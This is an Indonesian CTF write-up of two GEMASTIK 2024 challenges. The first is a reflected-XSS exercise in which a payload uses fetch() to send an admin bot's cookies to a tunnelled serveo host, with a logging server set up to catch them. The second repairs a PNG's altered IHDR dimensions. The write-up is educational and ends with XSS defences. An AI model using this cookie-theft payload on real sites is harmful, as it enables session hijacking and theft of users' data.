Writeup CTF Gemastik 2024 - Web & Forensics Writeup
Writeup CTF challenge Web Exploitation dan Forensics Gemastik Divisi Cybersecurity yang saya ikuti pada tahun 2024
Pendahuluan
Pada writeup kali ini, saya akan membahas dua challenge dari GEMASTIK CTF 2024 yang cukup menarik. Challenge pertama adalah Baby XSS yang merupakan challenge web exploitation, dan challenge kedua adalah Baby Structured yang merupakan challenge forensics terkait PNG file structure.
Challenge 1: Baby XSS
Deskripsi Challenge
Aku yang baru belajar XSS menemukan sebuah repo untuk automasi XSS challenge deployment, berikut reponya:
https://github.com/dimasma0305/CTF-XSS-BOT/
Bisakah kalian membantuku untuk melakukan exploitasi XSS sesuai pada repo kode vulnerable yang ada di repository tersebut?
URL: http://ctf.gemastik.id:9020/
Kategori: Web Exploitation

Analisis Awal
Sesuai dengan deskripsi challenge, ini merupakan challenge XSS (Cross-Site Scripting). Berdasarkan repository yang diberikan, vulnerability XSS terdapat pada halaman utama yaitu http://ctf.gemastik.id:9020/ dengan parameter x pada URL.

Testing XSS Payload
Saya mencoba melakukan XSS sederhana dengan menambahkan parameter ?x=alert(1) pada URL.

Ternyata payload XSS berhasil dieksekusi! Ini membuktikan bahwa aplikasi vulnerable terhadap XSS.
Mencari Target: Admin Bot
Halaman bot admin berada pada http://ctf.gemastik.id:9020/report. Halaman ini memungkinkan kita untuk mengirimkan URL yang akan dikunjungi oleh bot admin.

Dari kode bot yang tersedia di repository, terlihat bahwa flag dimasukkan ke dalam cookie pada browser bot.

Strategi Eksploitasi
Rencana eksploitasi adalah sebagai berikut:
- Membuat HTTP Server sederhana untuk menerima request
- Mengekspos server lokal ke internet menggunakan serveo
- Membuat payload XSS yang akan mencuri cookie bot
- Mengirimkan payload melalui halaman report
- Menangkap cookie yang berisi flag
Membuat HTTP Server
Pertama, saya membuat file server.py untuk menangkap request yang masuk:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python3
"""
License: MIT License
Copyright (c) 2023 Miel Donkers
Very simple HTTP server in python for logging requests
Usage::
./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging
class S(BaseHTTPRequestHandler):
def _set_response(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
self._set_response()
self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
Menjalankan Server dan Port Forwarding
Jalankan HTTP Server pada port 8080 dan ekspos ke publik menggunakan serveo:
1
2
3
4
5
# Terminal 1: Jalankan HTTP Server
python server.py 8080
# Terminal 2: Port forwarding dengan serveo
ssh -R 80:localhost:8080 serveo.net
Serveo akan memberikan URL publik yang dapat diakses dari internet, misalnya https://xxx.serveo.net.
Membuat Payload XSS
Payload XSS yang saya gunakan akan melakukan POST request ke HTTP Server dengan mengirimkan cookie sebagai body request. Berikut adalah payload yang digunakan:
1
http://proxy/?x=fetch(%27https://xxx.serveo.net%27,%20{method:%20%27POST%27,%20body:%20JSON.stringify(document.cookie)})
Info
Ganti xxx.serveo.net dengan URL publik yang didapat dari port forwarding serveo.
Payload ini akan:
- Mengambil semua cookie dari browser bot menggunakan
document.cookie - Mengkonversi cookie menjadi JSON string
- Mengirimkan cookie tersebut ke server kita melalui POST request
Mengirim Payload ke Admin Bot
Masukkan URL berisi payload XSS ke dalam halaman admin bot (/report).

Mendapatkan Flag
Setelah bot mengunjungi URL yang kita berikan, kita akan menerima POST request di HTTP Server yang berisi cookie dari bot.

Dan kita berhasil mendapatkan flag!
Flag: gemastik{s3lamat_anda_m3ndap4tkan_XSS}
Challenge 2: Baby Structured
Deskripsi Challenge
my friend sent me a picture, but she say its got ‘cropped’. can you recover it?
Kategori: Forensics

Analisis File
Dari challenge ini kami diberikan sebuah file ZIP, dan ketika diekstrak terdapat sebuah gambar berformat PNG yang tidak dapat dibuka. Error ini disebabkan karena terdapat ketidakcocokan antara ukuran gambar (image size) dengan CRC checksum pada struktur PNG.
Untuk memverifikasi masalah pada file PNG, saya menggunakan tool pngcheck:
1
pngcheck file.png

Terlihat bahwa terdapat error pada IHDR chunk yang menunjukkan bahwa CRC checksum tidak cocok dengan data yang ada.
Memahami Struktur PNG
Untuk memperbaiki file PNG ini, kita perlu memahami struktur file PNG, khususnya bagian IHDR (Image Header).
IHDR Chunk Structure
IHDR adalah chunk pertama dalam file PNG yang berisi informasi dasar tentang gambar. Struktur IHDR terdiri dari:
- 4 byte: Width (lebar gambar)
- 4 byte: Height (tinggi gambar)
- 1 byte: Bit depth
- 1 byte: Color type
- 1 byte: Compression method
- 1 byte: Filter method
- 1 byte: Interlace method
- 4 byte: CRC checksum

Info
CRC (Cyclic Redundancy Check) adalah metode untuk mendeteksi kesalahan pada data. Setiap chunk dalam PNG memiliki CRC yang dihitung berdasarkan tipe chunk dan data di dalamnya.
Strategi Pemecahan
Karena CRC checksum tidak cocok dengan data IHDR, kemungkinan besar nilai width atau height yang salah. Untuk menemukan nilai yang benar, kita perlu melakukan brute force untuk mencoba berbagai kombinasi width dan height hingga menemukan nilai yang menghasilkan CRC checksum yang cocok.
Menggunakan PNG Dimensions Bruteforcer
Saya menggunakan tool dari GitHub yang dapat melakukan brute force terhadap dimensi PNG: https://github.com/cjharris18/png-dimensions-bruteforcer
Tool ini akan mencoba berbagai kombinasi width dan height dan mencocokkannya dengan CRC checksum yang ada di file. Ketika menemukan kombinasi yang tepat, tool akan berhenti dan menampilkan hasilnya.
1
./png_image_bruteforce.py -f file.png

Mendapatkan Flag
Setelah proses brute force selesai, tool berhasil menemukan dimensi yang tepat dan menghasilkan file PNG yang dapat dibuka. Berikut adalah gambar yang berhasil diperbaiki:

Flag: gemastik{g0t_cr0pped_by_structur3}
Kesimpulan
Dalam writeup ini, kita telah membahas dua challenge yang berbeda dari GEMASTIK CTF 2024:
Baby XSS
Challenge ini memberikan konsep:
- XSS (Cross-Site Scripting): Vulnerability yang memungkinkan attacker menjalankan JavaScript pada browser korban
- Cookie Stealing: Teknik mencuri cookie menggunakan XSS untuk mendapatkan data sensitif
- Admin Bot: Simulasi user yang akan mengunjungi URL berbahaya
- Out-of-Band Data Exfiltration: Mengirimkan data yang dicuri ke server attacker
Langkah preventif untuk menghindari XSS:
- Selalu lakukan input validation dan sanitization
- Gunakan Content Security Policy (CSP)
- Encode output sebelum ditampilkan ke user
- Gunakan HTTP-only flag pada cookie sensitif
- Implementasi X-XSS-Protection header
Baby Structured
Challenge ini memberikan konsep:
- PNG File Structure: Memahami struktur internal file PNG, terutama chunk IHDR
- CRC Checksum: Mekanisme verifikasi integritas data dalam file PNG
- File Forensics: Teknik memperbaiki file yang corrupt atau rusak
- Brute Force: Metode untuk menemukan nilai yang tepat dengan mencoba berbagai kemungkinan
Pembelajaran dari forensics:
- Memahami struktur file format sangat penting dalam digital forensics
- Tool automation sangat membantu dalam proses brute force
- CRC checksum dapat digunakan untuk memverifikasi integritas data
- File yang tampak rusak masih bisa diperbaiki dengan pemahaman yang tepat tentang formatnya